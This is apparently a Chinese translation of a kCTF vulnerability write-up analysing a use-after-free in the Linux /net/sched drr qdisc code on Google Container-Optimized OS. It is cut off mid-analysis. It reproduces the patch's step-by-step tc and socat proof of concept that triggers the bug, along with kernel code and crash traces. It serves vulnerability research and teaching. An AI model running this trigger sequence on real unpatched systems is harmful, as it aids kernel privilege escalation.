零成本利用Google容器优化OS中的UAF漏洞

本文详细分析了Google容器优化OS中一个UAF漏洞的发现与利用过程,涉及/net/sched子系统的缺陷、内核链表操作漏洞,以及通过修改modprobe路径实现权限提升的技术细节。

背景

今年我致力于在多个方面提升技术能力,其中一部分是审查kCTF参赛作品。这帮助我了解当前项目中哪些子系统产生最多漏洞,并让我及时掌握需要关注的错误模式。同时,我也可以毫无顾忌地借鉴选手的利用技术。

最近许多漏洞来自/net/sched,因此我正在查看该子系统的补丁,发现一个声称存在可利用UAF的补丁。该补丁在此处。当时我没有意识到,补丁中提到的漏洞发现者(可能也是利用者)“Lion Ackermann”是一名kCTF选手。

我检查后发现,当我找到该补丁时,kCTF中的COS 105实例仍然易受此漏洞影响。当时我停止了调查,但后来了解到LTS实例也同样易受攻击。我不完全清楚规则细节,但根据公开的kCTF响应表格,该漏洞在12月被作为0day条目利用。然而,当我开始研究时,表格中尚无此漏洞的补丁链接,实例仍未修复。

此时我开始尝试理解并可能利用该漏洞。我的目标是通过1day条目对COS 105实例进行补丁间隙利用。开始调查后不久,宣布了新版本,但幸运的是新实例同样易受攻击,因为它们也未修复。由于COS 105槽位未被利用,且即将到来的COS 105实例也会易受攻击,我错误地认为无需着急,实例可能在我缓慢推进项目期间保持未利用状态。事后看来,我本应更加努力,因为COS 105实例在我完成前几小时被利用了。无论如何,这可能已经无关紧要,因为该漏洞之前已在项目中作为0day被利用,但仍不确定。总之,我遇到了一些自设的障碍,严重阻碍了进展,后续会详细讨论。下次我会更努力,投入更多时间,而不是只在晚上零散工作几小时。

补丁分析

补丁文本描述非常详细,并提供了很好的概念验证来重现错误条件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
net: sched: Disallow replacing of child qdisc from one parent to another
Lion Ackermann能够通过以下脚本创建可被滥用于权限提升的UAF

步骤1. 创建根qdisc
tc qdisc add dev lo root handle 1:0 drr

步骤2. 用于数据包聚合的类,用于演示UAF
tc class add dev lo classid 1:1 drr

步骤3. 用于嵌套的类
tc class add dev lo classid 1:2 drr

步骤4. 用于嫁接qdisc的类
tc class add dev lo classid 1:3 drr

步骤5.
tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024

步骤6.
tc qdisc add dev lo parent 1:2 handle 3:0 drr

步骤7.
tc class add dev lo classid 3:1 drr

步骤8.
tc qdisc add dev lo parent 3:1 handle 4:0 pfifo

步骤9. 显示类/qdisc布局

tc class ls dev lo
 class drr 1:1 root leaf 2: quantum 64Kb
 class drr 1:2 root leaf 3: quantum 64Kb
 class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls
 qdisc drr 1: dev lo root refcnt 2
 qdisc plug 2: dev lo parent 1:1
 qdisc pfifo 4: dev lo parent 3:1 limit 1000p
 qdisc drr 3: dev lo parent 1:2

步骤10. 触发漏洞 <=== 由此补丁阻止
tc qdisc replace dev lo parent 1:3 handle 4:0

步骤11. 再次重新显示qdiscs/classes

tc class ls dev lo
 class drr 1:1 root leaf 2: quantum 64Kb
 class drr 1:2 root leaf 3: quantum 64Kb
 class drr 1:3 root leaf 4: quantum 64Kb
 class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls
 qdisc drr 1: dev lo root refcnt 2
 qdisc plug 2: dev lo parent 1:1
 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p
 qdisc drr 3: dev lo parent 1:2

观察:a) 尽管有替换请求,4:0的父级并未改变。只能有一个父级。b) 4:0的引用计数增加了2 c) 类1:3和3:1都指向它。

步骤12. 发送一个数据包到plug
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))
步骤13. 发送一个数据包到嫁接的fifo
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))

步骤14. 触发UAF
tc class delete dev lo classid 1:3
tc class delete dev lo classid 1:1

"replace"的语义是在同一节点上进行删除/添加,而不是如步骤10中从一个节点(3:1)删除并添加到另一个节点(1:3)。
虽然我们可以通过更复杂的方法"修复",但可能会对预期产生影响,因此补丁采取预防性方法"禁止此类配置"。

这里的漏洞是qdisc可以被“重新父级化”到不是其原始父级的类。这种逻辑本不应存在。当你创建这些可以附加qdisc的类时,会分配一个默认qdisc,之后你可以将新qdisc嫁接到类上以替换当前qdisc。因此,你可以看到首先创建了类1:3,然后在步骤8中将qdisc嫁接到其上。这将释放默认qdisc,并实例化此qdisc替代它,并将其附加到类。

然而,该漏洞允许你通过使用与3:1相同的嫁接机制将qdisc(句柄4:0)嫁接到不同的类上,但现在我们将同一个qdisc嫁接到两个类上。补丁指出了此漏洞的副作用基本上是:

  • 从qdisc 4:0的角度来看,其父级仍然是类3:1,这从未改变
  • 从类3:1的角度来看,qdisc 4:0仍然是其子qdisc
  • 从类1:3的角度来看,qdisc 4:0现在成为其子qdisc
  • qdisc上的引用计数现在为2:1来自初始嫁接到3:1,另1来自重新父级嫁接到1:3

这些就是漏洞产生的副作用。此时,我对/net/sched、类、qdisc等一无所知,因此在此过程中的学习曲线非常陡峭。我一生中从未处理过这个子系统。但在大量谷歌搜索和ChatGPT帮助后,我能够按照补丁中的说明使用tc实用程序重现PoC。我完成了所有步骤,当到达步骤14该触发UAF时,在删除类1:3后得到了以下错误信息:

1
2
3
4
[   10.519000] ------------[ cut here ]------------
[   10.521778] list_del corruption, ffff8fdd50a008d0->next is NULL
[   10.525296] WARNING: CPU: 0 PID: 784 at lib/list_debug.c:49 __list_del_entry_valid+0x59/0xd0
...

此时我很兴奋,因为我认为我已经重现了漏洞并导致了UAF,很快就能寻找利用漏洞的方法;然而我大错特错。所有这些错误信息只是警告存在无效的list_del操作。在我的开发环境中,这足以导致内核恐慌。我启用了KASAN,如果有UAF,我会看到不同的错误信息,所以现在我非常困惑。进一步检查后,我甚至没有达到PoC中删除类1:1的步骤,那么发生了什么?为什么我的PoC在这个list_del操作处停止?是时候深入细节了。

首先,为什么我们会遇到错误的list_del操作?我们对此漏洞或子系统仍然知之甚少。我基本上只是重现了补丁中的PoC,几乎没有进行任何自己的批判性思考。经过大量printk调试后,我终于找到了无效list_del的来源。

链表漏洞分析

首先,为什么list_del会报错?事实证明,常见的内核配置是CONFIG_DEBUG_LIST,它将列表操作API(如list_del)转换为更谨慎的版本。list_del的任务是从链表中移除list_head节点。如果你能可视化内核中的链表,它本质上是一个节点列表。每个节点包含prev和next指针,分别引用列表中的前一个和下一个节点。因此,调试列表配置有一些健全性检查,确保当你从列表中移除节点时,节点本身没有损坏。当我们删除类1:3时,在该过程中发生了某些事情,我们最终到达这里:

1
2
3
4
5
6
7
static inline void __list_del_entry(struct list_head *entry)
{
    if (!__list_del_entry_valid(entry))
        return;

    __list_del(entry->prev, entry->next);
}

似乎在__list_del_entry_valid检查中出现了问题:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
static __always_inline bool __list_del_entry_valid(struct list_head *entry)
{
    bool ret = true;

    if (!IS_ENABLED(CONFIG_DEBUG_LIST)) {
        struct list_head *prev = entry->prev;
        struct list_head *next = entry->next;

        if (likely(prev->next == entry && next->prev == entry))
            return true;
        ret = false;
    }

    ret &= __list_del_entry_valid_or_report(entry);
    return ret;
}

这又调用了__list_del_entry_valid_or_report,因为我们确实启用了CONFIG_DEBUG_LIST

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
bool __list_del_entry_valid_or_report(struct list_head *entry)
{
    struct list_head *prev, *next;

    prev = entry->prev;
    next = entry->next;

    if (CHECK_DATA_CORRUPTION(next == NULL,
            "list_del corruption, %px->next is NULL\n", entry) ||
        CHECK_DATA_CORRUPTION(prev == NULL,
            "list_del corruption, %px->prev is NULL\n", entry) ||
        CHECK_DATA_CORRUPTION(next == LIST_POISON1,
            "list_del corruption, %px->next is LIST_POISON1 (%px)\n",
            entry, LIST_POISON1) ||
        CHECK_DATA_CORRUPTION(prev == LIST_POISON2,
            "list_del corruption, %px->prev is LIST_POISON2 (%px)\n",
            entry, LIST_POISON2) ||
        CHECK_DATA_CORRUPTION(prev->next != entry,
            "list_del corruption. prev->next should be %px, but was %px. (prev=%px)\n",
            entry, prev->next, prev) ||
        CHECK_DATA_CORRUPTION(next->prev != entry,
            "list_del corruption. next->prev should be %px, but was %px. (next=%px)\n",
            entry, next->prev, next))
        return false;

    return true;
}

那么发生了什么?我们对/net/sched代码还不太了解,但似乎因为我们有CONFIG_DEBUG_LIST,所以对要从列表中删除的节点进行了检查。如果你有以下链表:

1
A -> B -> C -> D -> A

列表中的每个节点都会指向其邻居,例如,对于节点D,它将在prev字段中包含节点C,在next字段中包含节点A,因为列表是循环的。这里的有效性检查确保,例如,如果你想删除节点D,节点C说它的下一个节点是D,节点A说它的前一个节点是D。这很合理。但在我们的list_del WARN()横幅中,我们看到此函数返回false,因为"list_del corruption, ffff8fdd50a008d0->next is NULL"。因此,我们甚至无法检查相邻节点的健全性,因为我们的节点D甚至没有next字段值,它是NULL。

好的,所以我们未能通过此list_del,PoC就在这里死亡,因为当我们删除类1:3时,在/net/sched中某个时刻提交删除的list_head要么已损坏,要么从未初始化。现在让我们弄清楚当此漏洞发生时/net/sched中发生了什么,看看是否能弄清楚发生了什么。

Sched漏洞分析

深入/net/sched代码后,清楚地知道为什么我们要删除的节点处于错误状态。在PoC中,我们创建了一个类1:1并为其分配了一个plug类型的qdisc。plug qdisc旨在字面上停止数据包出队,直到给出明确的释放命令或删除,它会在数据包"入队"时堵塞qdisc。因此,如果我们向类1:1发送数据包,该数据包将被入队到1:1的qdisc中,这是一个plug类型,意味着这些数据包将停留在那里,直到我们明确要求它们。此时,很明显,确保数据包保持在plug qdisc中对PoC至关重要。但我们的错误list_head节点呢?很明显,在向类1:1和plug qdisc发送数据包后,我们向1:3发送数据包。类1:3是当我们执行重新父级漏洞时,将已存在的pfifo qdisc从3:1嫁接到其上的类。让我们看看当我们向类(即类1:3)发送数据包时会发生什么:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
static int drr_enqueue(struct sk_buff *skb, struct Qdisc *sch,
           struct sk_buff **to_free)
{
    unsigned int len = qdisc_pkt_len(skb);
    struct drr_sched *q = qdisc_priv(sch);
    struct drr_class *cl;
    int err = 0;
    bool first;

    cl = drr_classify(skb, sch, &err);        // [1]
    if (cl == NULL) {
        if (err & __NET_XMIT_BYPASS)
            qdisc_qstats_drop(sch);
        __qdisc_drop(skb, to_free);
        return err;
    }

    first = !cl->qdisc->q.qlen;            // [2]
    err = qdisc_enqueue(skb, cl->qdisc, to_free);    // [3]
    if (unlikely(err != NET_XMIT_SUCCESS)) {
        if (net_xmit_drop_count(err)) {
            cl->qstats.drops++;
            qdisc_qstats_drop(sch);
        }
        return err;
    }

    if (first) {
        list_add_tail(&cl->alist, &q->active);    // [4]
        cl->deficit = cl->quantum;
    }

    sch->qstats.backlog += len;
    sch->q.qlen++;
    return err;
}

这里发生了几件重要的事情。我还没有提到此处的drr方面,它代表"Deficit Round Robin",是用于确定在此PoC中如何调度数据包传递的算法类型。DRR算法的细节不是非常重要,但根据我学到的高级知识,它基本上跟踪当前"活动"的类,即已入队数据包的类,并尝试基于可配置的"deficits"传递数据包。这样,我们确保数据包以对我们作为最终用户有意义的方​​式分布,以塑造流量或保证某种服务质量。当在步骤1中设置的qdisc在接口级别入队数据包(我们使用环回)时,会调用此函数:

[1]:在此步骤中,我们有一个数据包,并尝试使用drr_classify函数将数据包分类到属于根qdisc层次结构的现有drr类之一

[2]:如果我们找到与数据包匹配的类,即优先级匹配我们设置的类如1:3,我们检查类1:3的qdisc是否已入队任何数据包,如果没有,则first标志设置为true

[3]:类1:3的qdisc入队一个数据包

[4]:如果这是该类的第一个数据包,则需要将此数据包放置在drr调度器的活动列表上,该列表包含每个已入队数据包的drr类的list_head结构,以便调度器可以应用算法并确保适当出队数据包

这里的一切都有意义,在打印出类和qdisc指针值并将它们与设置层次结构时PoC中的分配对齐后,这里似乎没有任何问题。让我们看看当list_del WARN()发生时回溯中的函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
[   10.602011]  ? __warn+0x81/0x100
[   10.603979]  ? __list_del_entry_valid+0x59/0xd0
[   10.606673]  ? report_bug+0x99/0xc0
[   10.608785]  ? handle_bug+0x34/0x80
[   10.610901]  ? exc_invalid_op+0x13/0x60
[   10.613228]  ? asm_exc_invalid_op+0x16/0x20
[   10.615710]  ? __list_del_entry_valid+0x59/0xd0
[   10.618473]  drr_qlen_notify+0x12/0x50
[   10.620778]  qdisc_tree_reduce_backlog+0x84/0x160
[   10.623558]  drr_delete_class+0x104/0x210
[   10.625959]  tc_ctl_tclass+0x488/0x5a0

因此,我们从对drr_delete_class的调用进入drr_qlen_notify

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
static int drr_delete_class(struct Qdisc *sch, unsigned long arg,
                struct netlink_ext_ack *extack)
{
    struct drr_sched *q = qdisc_priv(sch);
    struct drr_class *cl = (struct drr_class *)arg;

    if (cl->filter_cnt > 0)
        return -EBUSY;

    sch_tree_lock(sch);

    qdisc_purge_queue(cl->qdisc);                // [1]
    qdisc_class_hash_remove(&q->clhash, &cl->common);    // [2
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计